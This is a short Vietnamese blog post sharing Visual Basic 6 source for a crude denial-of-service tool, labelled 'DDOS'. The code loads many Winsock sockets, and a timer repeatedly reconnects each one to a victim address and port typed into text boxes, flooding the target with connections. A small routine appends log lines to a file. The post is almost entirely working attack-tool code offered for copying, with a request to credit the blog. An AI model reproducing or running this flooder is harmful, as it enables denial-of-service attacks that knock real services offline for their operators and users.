[Source] DDOS Lỏm :-<

Code

Timer.Enabled = False
End Sub

Public Sub LoadSock(Number As Integer)
On Error GoTo ExitSub
Dim X As Integer
X = 1
Do Until X = Number
Load Winsock(X)
X = X + 1
Loop
ExitSub:
End Sub

Private Sub Timer_Timer()
On Error Resume Next
Dim X As Integer
Do Until X = SocksTxt.Text
Winsock(X).Close
Winsock(X).Connect VicTxt.Text, PortTxt.Text
X = X + 1
Loop
OnlineTxt.Text = SocksTxt.Text
End Sub
Public Sub UnloadSock(Number As Integer)
On Error GoTo ExitSub
Dim X As Integer
X = 1
Do Until X = Number
Unload Winsock(X)
X = X + 1
Loop
ExitSub:
End Sub

Modules

Public Function WriteLog(LogData As String)
Open App.Path & "\fgonl.php" For Append As #1
Print #1, LogData
Close #1
End Function

Chú Ý:

Coppy phải ghi rõ nguồn Dương-UG Blog's